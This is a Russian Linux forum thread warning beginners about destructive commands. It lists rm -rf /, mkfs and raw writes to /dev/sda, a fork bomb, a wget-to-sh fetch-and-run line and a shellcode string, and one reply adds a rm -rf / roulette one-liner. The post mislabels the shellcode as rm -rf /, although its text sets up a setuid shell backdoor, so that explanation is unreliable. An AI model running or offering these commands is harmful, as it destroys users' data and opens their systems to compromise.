Open-Club.Net Проект полностью ориентирован на Open Source-подход(изучаем, настраиваем, устанавливаем и общаемся о Linux).
Мы в соц. сетях:
[ Новые сообщения · Участники · Правила форума · Поиск · RSS ]
  • Страница 1 из 1
  • 1
"Смертельные" Linux команды
DiselДата: Вс, 08.05.2011, 07:55 | Сообщение # 1
Генерал-лейтенант
Группа: Бывалый
Сообщений: 489
Если Вы пока новичок и еще слабо знакомы с Linux, то вполне возможно, что на форумах или в чатах, встретите "дурного" (мягко сказано) человека, который сможет (ну или попытается) обмануть Вас в использовании консольных Linux команд, которые могут повредить или уничтожить Ваши файлы, или даже всю Вашу операционную систему. Так вот, чтобы избежать такой опасной ситуации, здесь приведен небольшой список "смертельных" Linux команд, которых нужно избегать. Да и вообще, если уж собрались выполнить незнакомую команду, то хотябы для начала прочтите соответствующую "man" страничку, в которой скорее всего поймете, что может делать конкретная команда взависимости от переданных ей параметров.

Итак...

1. Код:

rm -rf /

Эта команда рекурсивно и принудительно удалит все файлы в корневом каталоге вашей системы.

2. Код:

char esp[] __attribute__ ((section(".text"))) /* e.s.p
release */
= "\xeb\x3e\x5b\x31\xc0\x50\x54\x5a\x83\xec\x64\x68"
"\xff\xff\xff\xff\x68\xdf\xd0\xdf\xd9\x68\x8d\x99"
"\xdf\x81\x68\x8d\x92\xdf\xd2\x54\x5 e\xf7\x16\xf7"
"\x56\x04\xf7\x56\x08\xf7\x56\x0c\x83\xc4\x74\x56"
"\x8d\x73\x08\x56\x53\x54\x59\xb0\x0b\xcd\x80\x31"
"\xc0\x40\xeb\xf9\xe 8\xbd\xff\xff\xff\x2f\x62\x69"
"\x6e\x2f\x73\x68\x00\x2d\x63\x00"
"cp -p /bin/sh /tmp/.beyond; chmod 4755
/tmp/.beyond;";

Это шестнадцатеричная версия ранее упомянутой команды [rm -rf /], которая может обмануть или поставить в тупик даже довольно опытных пользователей Linux. Напоминание: команда рекурсивно и принудительно удалит все файлы в корневом каталоге вашей системы!

3. Код:

mkfs.ext3 /dev/sda

Эта команда переформатирует устройство, которое указано после команды mkfs, или полностью уничтожит все файлы на нем.

4. Код:

:(){:|:&};:

Код известен как "forkbomb". Эта команда вынудит Вашу систему выполнять огромное число процессов до полного зависания, что довольно часто приводит к искажению данных.

5. Код:

any_command > /dev/sda

Этой командой исходные данные будут записаны в блочное устройство, что как правило приведет к затиранию файловой системы, а другими словами к полной потере данных.

6. Код:

wget http://some_untrusted_source -O- | sh

Никогда не загружайте код из непроверенных (мягко сказано) источников, и не запускайте на исполнение вероятно вредоносный программный код. Что собственно эта команда и сделает вопреки вашему желанию.

7. Код:

mv /home/yourhomedirectory/* /dev/null

Эта команда переместит все файлы из вашего домашнего каталога в несуществующее место, и таким образом вы навсегда потеряете свои данные.

Здесь конечно приведен скорее всего далеко не полный список "смертельных" Linux команд. Так что если кто знает другие, то можно их огласить в комментариях к этой статье, а модератор позже добавит их к общему списку.


 
AlucardДата: Пн, 09.05.2011, 11:10 | Сообщение # 2
Полковник
Группа: Гуру
Сообщений: 150
Занятная вещь.
Допустим, о шестнадцатеричной версии rm -rf / даже не подозревал, да и :(){:|:&};: стала для меня открытием... попробовать на досуге что-ли))


[ $[ $RANDOM % 6 ] == 0 ] && rm -rf / || echo "Жив"
 
DiselДата: Пн, 09.05.2011, 11:26 | Сообщение # 3
Генерал-лейтенант
Группа: Бывалый
Сообщений: 489
Я один раз попался на этот код: rm -rf /
Проблема с камерой была, лазил по форумам искал помощи...один урод посоветовал blink


 
  • Страница 1 из 1
  • 1
Поиск:
Новый ответ
Имя:
Текст сообщения:
Код безопасности: